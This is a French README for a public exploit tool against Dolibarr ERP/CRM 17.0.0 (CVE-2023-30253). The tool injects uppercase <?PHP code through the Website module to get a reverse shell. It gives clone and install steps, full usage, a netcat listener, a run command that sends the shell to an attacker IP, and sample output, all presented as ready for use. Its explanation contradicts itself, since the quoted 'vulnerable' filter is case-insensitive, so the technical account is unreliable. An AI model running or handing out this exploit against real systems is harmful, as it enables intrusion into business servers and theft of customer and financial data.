
CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE via injection de code PHP (exploit éducatif)
Exploit d'injection de code PHP pour Dolibarr ERP/CRM v17.0.0 permettant d'obtenir un shell inverse en tant qu'utilisateur www-data via le module Website/CMS.
⚠️ Uniquement à des fins éducatives et d'audits autorisés.
CVE-2023-30253 est une vulnérabilité d'injection de code PHP (CWE-94: Improper Control of Generation of Code) dans Dolibarr ERP/CRM versions antérieures à 17.0.1.
Elle a été découverte et rapportée par l'équipe Swascan (maintenant Hacktivesecurity) en mai 2023. La vulnérabilité réside dans le module Website/CMS, qui permet aux utilisateurs authentifiés de créer et gérer des sites web dans Dolibarr.
| Champ | Valeur |
|---|---|
| CVE | CVE-2023-30253 |
| CVSS v3.1 | 8.8 (HIGH) |
| Vecteur | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Type | CWE-94 — Code Injection |
| Logiciel affecté | Dolibarr ERP/CRM < 17.0.1 |
| Privilèges | Utilisateur authentifié (tout rôle) |
| Correctif | Dolibarr 17.0.1 — commit 4f6055c |
Dolibarr implémente un filtre pour empêcher les utilisateurs d'injecter du code PHP dans le contenu des pages du module Website. Cependant, ce filtre présente un défaut critique : il est case-sensitive.
// Code vulnérable (simplifié) dans Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
// Bloque uniquement "<?php" en minuscules exactes... ou pas ?
die("PHP code detected!");
}
Le filtre recherche littéralement la chaîne <?php en minuscules. Mais PHP
permet n'importe quelle combinaison de minuscules et majuscules pour la
balise d'ouverture. Cela signifie que :
| Balise | Filtrée ? | Exécutée par PHP ? |
|---|---|---|
<?php ... ?> | ✅ | ✅ |
<?PHP ... ?> | ❌ | ✅ |
<?Php ... ?> | ❌ | ✅ |
<?pHp ... ?> | ❌ | ✅ |
L'exploit utilise <?PHP (en majuscules) pour contourner le filtre, mais
n'importe quelle variante fonctionne.
De plus, le filtre n'est appliqué qu'au moment de sauvegarder le
contenu. Lors de la livraison de la page, Dolibarr transmet le contenu
sans assainissement supplémentaire à l'interpréteur PHP, qui exécute tout
code avec la balise d'ouverture <?.
Un attaquant authentifié peut :
/etc/passwd, configuration)Pourquoi est-ce critique ? Dolibarr est utilisé comme ERP/CRM d'entreprise. Une intrusion peut exposer des données clients, financières, des contrats et des identifiants internes.
L'exploit automatise le processus complet d'exploitation en 5 étapes :
┌─────────────────────────────────────────────────────────┐
│ CVE-2023-30253 │
│ │
│ 1. Login → S'authentifier dans Dolibarr │
│ 2. Create Website → Créer un site web vide │
│ 3. Create Page → Créer une page dans le site │
│ 4. Inject Shell → Injecter un shell inverse PHP │
│ 5. Trigger → Exécuter le payload │
│ │
│ Résultat : 🎯 Shell inverse en tant que www-data │
└─────────────────────────────────────────────────────────┘
Caractéristiques :
pageidfsockopen + proc_openrequestsbeautifulsoup4Ou simplement :
pip install -r requirements.txt
# Cloner le dépôt
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit
# Installer les dépendances
pip install -r requirements.txt
python exploit.py <target> <username> <password> <lhost> <lport> [opciones]
Arguments positionnels :
| Argument | Description | Exemple |
|---|---|---|
target | URL de base de Dolibarr | http://crm.board.htb |
username | Utilisateur Dolibarr | admin |
password | Mot de passe Dolibarr | admin |
lhost | Votre IP (où vous recevrez le shell) | 10.10.14.5 |
lport | Votre port (où vous recevrez le shell) | 4444 |
Options :
| Option | Description |
|---|---|
-v, --verbose | Affiche des informations de débogage détaillées |
--no-color | Désactive les couleurs dans la sortie |
-h, --help | Affiche l'aide et des exemples |
nc -lvnp 4444
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
════════════════════════════════════════════════════════
CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════
Target: http://crm.board.htb
User: admin
LHOST: 10.10.14.5
LPORT: 4444
Site ID: s3a1f2bc
──────────────────────────────────────────────────
[10:45:12] Paso 1/5: Iniciando sesión...
[10:45:12] ✓ Sesión iniciada correctamente
[10:45:13] Paso 2/5: Creando sitio web...
[10:45:13] ✓ Sitio web 's3a1f2bc' creado
[10:45:13] Paso 3/5: Creando página en el sitio...
[10:45:13] ✓ Página creada dentro del sitio
[10:45:14] Paso 4/5: Inyectando reverse shell → 10.10.14.5:4444...
[10:45:14] ✓ Código PHP inyectado exitosamente
[10:45:14] Paso 5/5: Ejecutando payload (trigger)...
════════════════════════════════════════════════════════
EXPLOTACIÓN COMPLETADA
════════════════════════════════════════════════════════
Trigger URL:
http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc